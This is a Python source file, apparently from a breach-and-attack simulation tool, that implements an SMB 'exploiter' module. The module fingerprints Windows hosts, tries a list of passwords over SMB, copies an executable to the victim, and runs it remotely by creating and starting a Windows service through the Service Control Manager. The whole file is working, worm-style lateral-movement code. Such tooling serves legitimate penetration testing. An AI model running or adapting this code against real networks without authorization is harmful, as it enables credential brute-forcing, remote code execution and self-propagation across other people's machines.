monkey/chaos_monkey/exploit/smbexec.py

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import sys
from logging import getLogger
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from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
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try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
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class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
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KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
USE_KERBEROS = False
def __init__(self):
self._config = __import__('config').WormConfiguration
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host)
else:
is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
if is_nb_open:
host.os['type'] = 'windows'
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return host.os.get('type') in self._target_os_type
return False
def exploit_host(self, host, src_path=None):
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assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
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passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, self._config.psexec_user, password)
host.learn_credentials(self._config.psexec_user, password)
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
continue
if not exploited:
LOG.debug("Exploiter SmbExec is giving up...")
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
if host.default_server:
cmdline += " -s " + host.default_server
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for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
"", "", None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
except Exception, exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
return False
smb_conn = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp['lpScHandle']
# start the monkey using the SCM
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
except:
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pass
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scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
return True